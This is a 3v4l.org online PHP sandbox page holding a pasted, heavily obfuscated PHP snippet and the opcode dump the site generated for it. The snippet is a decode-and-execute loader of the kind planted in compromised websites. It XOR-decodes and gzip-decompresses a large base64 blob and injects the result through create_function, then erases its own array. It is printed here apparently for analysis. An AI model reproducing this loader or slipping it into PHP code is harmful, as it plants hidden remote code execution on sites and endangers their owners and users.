3v4l.org

run code in 300+ PHP versions simultaneously
<?php $hhekugmn=array( '$hhekugmn[0]=$hhekugmn[3];$bzgqvnhh=bzgqvnhh(3,13);$hhekugmn[0]=$bzgqvnhh($hhekugmn[2]);', '$hhekugmn[2]=gzuncompress(bzgqvnhh(729,2160));', 'bGx5S2J2ZFF6d1NJZG58e2ZMZXtlS3N+Y39gTWFrY2R9cmlWbGZnfmFpcmlxQUtDVV1fX15WUlxdVkVLT0xWZGh0R3FhZ2RxY355Z2hgemNueVlSZGx0O2Z9I2VFRHN5MSwgJlhrbGNQdHElYXZjOWchYkBoKjwxZ2cgYl97fEhwMDVhd2dqaHdXcEtxbXZkZHFndk1ibX9zfXY7cGh8en44eG9iYXc7dnh9d2tmYD58YHRsZHEpaXV/d3VxREdNVkREQmthQ2pkdmlXRGhubXZaPy0/cVFLWU1WREROW19aXXdnY2NxJydPbWx3enV2MXtlbG1+P2J2fGxqYHlwcWUuSmZXR0FBVEBEVlxGXHRMVkFCXUFHT0dIWVB3UldUV1VGSExDXVtdW1ZvOkRqKmZ1Yj5geGRXZFBkaip2fWQ+PXZmZ2A4ZH1zdlgqdn1kPj1ZSkw5YH96Yk5DaGZOUU9ARkRDc1hJUUddRGZRT0BQWEFFWWlmbCp2fWRJbHBzb0Fwcnx7cHdPfWRkSnV6aHl2QUpxb2BidFFSVnJyPXd+fWRsZ2A6ZGN2YWphcVhycj13fn1kbGdgOnJyeWZucWNtYnd0d09tYGZMQm4rVytuf3NSZ2NjcScnT21sd3p1dlFwdHJ2dmJxcH5PbmxgSnx2bm9UYWNkdWFhcXVyTnBweVZyaU1WRERORkNMW0tUVlZUWnRQVmRhdFRKS2MzPnVjdHVnfWF4P2NtRERHa0hgMD5/Y3Zyeid3enxMb0hGZzY+cn5hcWVgd3A/cHVjVEVyKnVgOXJ8fm9gczthe2oxfjgjaS1DQWcjdi1keWM2eTRlVEJkVi'.'N0LUVZSGZ3YnhOR2xseWBZeTR2dFBtdmRkKzw/SmZVcmkjdS1ydnB2Z2R7YWdtTldESSN1LXdkZmRgenV3UExhbUsjdS1nejNYXV1EOiA9KmdLYWJRTW1jYCszR2QqRFVYfZ6dTGh8+kEb6z8M16bPuYZ+YliPZAO06NlR6iWTfIexyHSFfH/8aWXk1AT2oWFectl+usToG+Gjuq5vRlcam8vH1Buz1499U3/KDFRTsPu4IN1Og+dRK6kTcPMGS5SH+E+EA2jUzUSevzEdKLCiIXgLybqyNwrud8XFZUpJG8aXFrJdRjT4SlAPP4sabhvjmobJxMEeXd9FUQ4RUIubNfUeYoyXv0uDr2cAhIZ+soKPbvW5zXeGpTJ5aiaIHz2OsSWrPF5AmXWZYgO9sSZRMbZ2d6PG/dLEi1/reExwWa9Yvtf9fXQrUO94LjGvp5QmY4t/U+JWjEf1GnJRpnNI62Lil0V4+EbmQ4Kstbzm+oE2veLnplk1w2yCQTalchcRx6Zf5y1gx39XcKSORwTP5vqhWoTiRVmcByj6maySQgXohrMgikfqo2rmHvAVp0cZ++K6D04d1FUUHaNeiZNby/nf1PHlMwh8jUAF1vtFpXP1xk61bo+7h8U7kvfuhuWsGSHmBcqieyvaqmY2nIuT9qtpvH9ilE6wlqbpV+1RsjuuqP6hYrtFNyBIZfOe7FbtEmeGQJt7rOKv3Yjm5CrAt7w1HzQrYzfCHOaQesu/QO/cdT8rb8PuGAfVlmj3f2cayP8e+0W9N/naToGlvNchrNbfxjniTvB90693A5U/qoRavpbYB3qMp/S4ZswNJYMV+hgtqmMl9kOy5KL/cXPZY6VbYnsZe0QOM02CWqS7VbFpmJqd5eY2Uafnk7Uc/7CiHZZGLqI/jgNrYUbH6fYQgKixHYNg0HAHCfwh1FcOZbDLMItyJFlg8Qke1znPHw6n2GtEGOuhuVHbT5CmxD12B0a0FtxVPXxbFuPvo3XyhAqIyj37J4Udcruy/J'.'vV+HtHk3egz4Gp68AZFn/bLlkXQdGzRQ4XIDKh3xKDffmQ0Ggd6itKWYvT6pCr2NDcJUjEF3NiRvDGV8ze5SI9La++NYX/sBO3OUwasgwySCJvv6ZU2jsD5ZVQMcfoUP1rmsqHTKuSu/3gQu42NbmMmKn/FO9wf7R5CXYJom+MdLjy0zWUBA2+0A9CX8X9zIX5GYY2i6QtnUwybDNtE9OKV6Dqj5ucOf+rUhU58ukt5gjRgCQJV7hGhAjmQKK8V1aFYod3IJgatfVA5GndQ0YJ5vrrfeSEezOiuKLokyUAul4DIRf+eC6lO/LNjjYL0+ZcR7/4v77dpGvvXfO3WbRrbaVzF3h5rmvtHCj5eedtEkybMlLCOTehNkKGMQk29uDkwRGo9Fr65proyBSzrwjbqbvDLkHWJHF6u/DL2TgEuxIXzN0Vo2JxEkQb1TRaoIsWVzsPOZLO2sEUwDAzVBeynPTwGY1YT8Kc9eIXuLPcl3kws1gxSidMy3RCklp33V4GrExG8lQ8H7lpDzSYgD+dztx3qIJ3fYizHnRa7M/AAJ6Q4wh19jTWsLhKGYyKlPeUXF7i88XK'.'ql3hIAOD2kSjB/irQls6mXzqA2DcO40RL+oDiBfiGLFUKY/cf5KWVvSWJVEf3swh7XHEsY45Tb6TsSoV7uZ3BgGfCOtuLaTFJVCgL1QUFfyJoP0UcQSze4uF7H8ZBdiWxIlD3KV4uttnM42PBjZxrSBPsU5/LzCytkDGGA0XNzqJhP0ebjhiMMJnKni12N3v/2fnan2AmohnD1YoGEIGaAfr1xLCBIT2anJQVHRifTe5+9TaxnsM8K6m7LW1cIsXYCfQ50yxzK4VPlSz1se382K+B0AJU1reNR0KihTrnY5biJ5owZEaI2/1pFwyUMuyl90cjfAbBIHWps/DQVHbTniyjq+6ppdhUER2xC2HRK8b3Bitj1u6Fr0IMhR9TiO9u+4XRwCx2kAwnA2pcsjBzlRPT/LqiF3SMnOUnJJ1AAAY32cIE77D1GstY6kwKlmp6Pg/TUif2tl9cJoFCnh1mXfoe85LBE0Dn8inq40IX6Yk37TBZ8CPGTfaOIuCK5qw+OJOyP9+E1MW9d57fZsRk5lEPx9CUf8WkR02BGHHeMaHlj+q5Hvl+5YSUCZ6gXvk1dQUgBl1sh2PlKJ3afAWSG6cRuyNQJcKWFhWBbDIHUEg3Wg9VAhQBTAr6sDPgmyBgqHSJLRTcWCNNYQhlw6xhJ3ulFrWLufwMxvw/94BR0V1Lsb4XRtEQ4QeBuWxdar7ppTTeVxy8ZRYu59BZDR8/JwvduNEu82fvH0XA1dS+BBGnV7QEgr+C6bwAM4Rn2dKJt2asV1+aEaZI9QCfkWtGeTBP8g1Gbv/Sk7BkBRCWXGlx7Na6Ih7tNyY2E'.'ecjW0yu3FaD7/qChBUhaLNWjySSdCZPn7Gj5qurFVtumDJNk4O0qM69U3oitJHq28/fV/Qrtcu0GYlhkhQsbxMeWXA/wHR8u8u1Q+PuGaOiEWNt95bKhTQt4TpPSj4ot+IYEQlAM3Rv4anYa1plmZ1cvlz7+QtlR+44O6TLdOlfrHwnGfwg7XSU9zTstZcsPZ4cfHr/IA+hDbK6y1rbWOycHu+qW/rnee9lqji/O30AJ3M5ctrnv1PlxxWim+AtkZt+9tg/SzPS10/KcZ19hwVEX90vcaQFWjZM3cbBOYzRSIr9oPdLYqylwh2JmrxSMbAVm3WdJ5WRKBx9d7LYIl591c4fv0R2vL8U6mEnozM9ulD0kqASSTForUROg3h233+3BDqFM9/ikB+TytcFsKLWbTi4cYSwRe+54fnJXz8kxxKs8jsL8zMPI5EEelTuaU16cFfo+ZkNwVy3ej94XwE5vYZCDwZtoojZP8FQOb4wnQLYBgw4/Yb4BXo1FE9FXa1Fx+xLZH9BYXY4BTcShf3yToTj9NR7Uk2vdzsRoHcF+I/8Xv19haZm1a76xawRff+dA==', "/*m\x67\x63\x63\x71\x27\x27\x4f\x6d\x6c\x77\x7a\x75\x76*/");$wevgaxn='create_'; if(function_exists($wevgaxn.='function')){ $wevgaxn('','}function bzgqvnhh($start,$text_len){global $hhekugmn;$keypad=str_pad("",$text_len,"ebptqspiituqsznk");$lomask=str_repeat("\x1f",$text_len);$himask=str_repeat("\xe0",$text_len);$text = substr($hhekugmn[0],$start,$text_len);return(($text^$keypad)&$lomask)|($text&$himask);}{'); for($ue=-1;++$ue<3;){ $wevgaxn('','}'.$hhekugmn[$ue].'{'); }};unset($hhekugmn);?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 7, Position 2 = 23
Branch analysis from position: 7
1 jumps found. (Code = 42) Position 1 = 20
Branch analysis from position: 20
2 jumps found. (Code = 44) Position 1 = 23, Position 2 = 13
Branch analysis from position: 23
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 13
2 jumps found. (Code = 44) Position 1 = 23, Position 2 = 13
Branch analysis from position: 23
Branch analysis from position: 13
Branch analysis from position: 23
filename:       /in/Jvb8G
function name:  (null)
number of ops:  25
compiled vars:  !0 = $hhekugmn, !1 = $wevgaxn, !2 = $ue
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   ASSIGN                                                   !0, <array>
    5     1        ASSIGN                                                   !1, 'create_'
    6     2        INIT_FCALL                                               'function_exists'
          3        ASSIGN_OP                                     8  ~5      !1, 'function'
          4        SEND_VAL                                                 ~5
          5        DO_ICALL                                         $6      
          6      > JMPZ                                                     $6, ->23
    7     7    >   INIT_DYNAMIC_CALL                                        !1
          8        SEND_VAL_EX                                              ''
          9        SEND_VAL_EX                                              '%7Dfunction+bzgqvnhh%28%24start%2C%24text_len%29%7Bglobal+%24hhekugmn%3B%24keypad%3Dstr_pad%28%22%22%2C%24text_len%2C%22ebptqspiituqsznk%22%29%3B%24lomask%3Dstr_repeat%28%22%5Cx1f%22%2C%24text_len%29%3B%24himask%3Dstr_repeat%28%22%5Cxe0%22%2C%24text_len%29%3B%24text+%3D+substr%28%24hhekugmn%5B0%5D%2C%24start%2C%24text_len%29%3Breturn%28%28%24text%5E%24keypad%29%26%24lomask%29%7C%28%24text%26%24himask%29%3B%7D%7B'
         10        DO_FCALL                                      0          
    9    11        ASSIGN                                                   !2, -1
         12      > JMP                                                      ->20
   10    13    >   INIT_DYNAMIC_CALL                                        !1
         14        SEND_VAL_EX                                              ''
         15        FETCH_DIM_R                                      ~9      !0, !2
         16        CONCAT                                           ~10     '%7D', ~9
         17        CONCAT                                           ~11     ~10, '%7B'
         18        SEND_VAL_EX                                              ~11
         19        DO_FCALL                                      0          
    9    20    >   PRE_INC                                          ~13     !2
         21        IS_SMALLER                                               ~13, 3
         22      > JMPNZ                                                    ~14, ->13
   11    23    >   UNSET_CV                                                 !0
         24      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
151.67 ms | 1396 KiB | 15 Q